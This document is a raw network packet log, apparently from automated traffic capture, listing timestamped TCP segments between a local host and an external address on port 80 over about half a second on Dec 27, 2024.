Dec 27, 2024 09:00:18.827282906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.827424049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.827467918 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.828155994 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.828285933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.828402042 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.829039097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.829168081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.829229116 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.829929113 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.830113888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.830176115 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.830826044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.830957890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.831031084 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.831737995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.831834078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.831916094 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.832566023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.832756996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.832843065 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.833503008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.833564043 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.833630085 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.834369898 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.834427118 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.834764004 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.835160971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.876379967 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.990287066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.990401983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.990515947 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.990784883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.990834951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.991460085 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.991617918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.991692066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.991750956 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.992537975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.992608070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.992659092 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.993410110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.993515015 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.993565083 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.994330883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.994591951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.994812965 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.995166063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.995321989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.995441914 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.996108055 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.996154070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.996227026 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.996937990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.997024059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.997126102 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.997854948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.997898102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.997962952 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.998650074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.998806953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.999141932 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.999592066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.999650002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.999732971 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.000427961 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.000477076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.000574112 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.001501083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.001579046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.001640081 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.002196074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.002291918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.002340078 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.003101110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.003201008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.003451109 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.004064083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.004076004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.004146099 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.004825115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.004916906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.004981041 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.005738020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.005784988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.005851984 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.006577969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.006717920 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.006769896 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.007457018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.007622004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.007714987 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.008375883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.008444071 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.008796930 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.009274960 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.009349108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.009426117 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.010159969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.010274887 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.010340929 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.010993004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.011111021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.011166096 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.011854887 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.011964083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.012054920 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.012820005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.012856960 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.013282061 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.013609886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.013752937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.013851881 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.014489889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.014686108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.014765024 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.015337944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.015535116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.015593052 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.016272068 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.016343117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.016419888 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.017131090 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.017211914 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.017268896 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.018038034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.018135071 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.018887043 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.018985033 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.018987894 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.019038916 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.019773006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.019892931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.019958973 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.020628929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.020764112 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.021230936 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.021708012 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.021780014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.022088051 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.022427082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.022561073 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.022634029 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.023339987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.023435116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.023500919 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.024163961 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.024337053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.024739027 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.025063038 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.025140047 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.025192022 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.025959015 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.026078939 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.026191950 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.026834011 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.026993990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.027126074 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.027715921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.027843952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.027929068 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.028618097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.028773069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.029203892 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.029445887 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.029603004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.029680967 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.030380964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.030427933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.030486107 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.031270027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.031358957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.031445026 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.032068014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.032284975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.032377005 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.032953978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.033070087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.033902884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.034019947 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.034076929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.034138918 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.034717083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.034842014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.035540104 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.035665035 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.035727024 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.036431074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.036511898 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.192004919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.192018032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.192095041 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.192146063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.192312002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.193182945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.193228006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.193289042 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.193289042 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.194442034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.194505930 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.194649935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.194706917 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.195157051 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.195266008 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.195291996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.196038008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.196149111 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.196201086 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.196768045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.196839094 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.196934938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.197735071 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.197779894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.197853088 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.198719978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.198733091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.198843002 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.199446917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.199542046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.199610949 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.200318098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.200382948 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.200412035 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.201203108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.201375008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.201467991 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.202116966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.202188015 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.202212095 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.202943087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.203072071 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.203166008 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.203787088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.203927040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.203991890 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.204668045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.204788923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.204868078 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.205621958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.205682039 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.205712080 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.206459999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.206563950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.206655025 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.207323074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.207401037 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.207427025 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.208229065 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.208304882 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.208390951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.209175110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.209217072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.209297895 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.210002899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.210052967 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.210067987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.210935116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.210980892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.211047888 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.211720943 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.212193012 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.212269068 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.212614059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.212743998 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.212774038 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.213572979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.213583946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.213637114 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.214365959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.214478016 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.214494944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.218316078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.218328953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.218339920 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.218352079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.218364000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.218375921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.218395948 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.218429089 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.218645096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.218662977 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.218719006 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.219571114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.219583988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.219809055 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.220501900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.220515013 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.220542908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.220592022 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.220592022 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.220684052 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.223028898 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.223182917 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.223193884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.223845005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.224008083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.224076986 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.224621058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.224632978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.224716902 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.225214005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.225224972 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.225308895 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.226119041 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.226188898 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.226265907 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.226880074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.227041960 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.227121115 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.227832079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.227992058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.228046894 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.228796959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.228877068 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.228929996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.229527950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.229686975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.229753017 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.230335951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.230348110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.230357885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.230370045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.230422974 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.230423927 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.231061935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.231188059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.231334925 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.231965065 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.232067108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.232167006 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.232855082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.232922077 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.233057022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.233715057 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.233855009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.233906031 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.234739065 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.234852076 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.234924078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.238643885 CET	80	49743	185.215.113.16	192.168.2.4
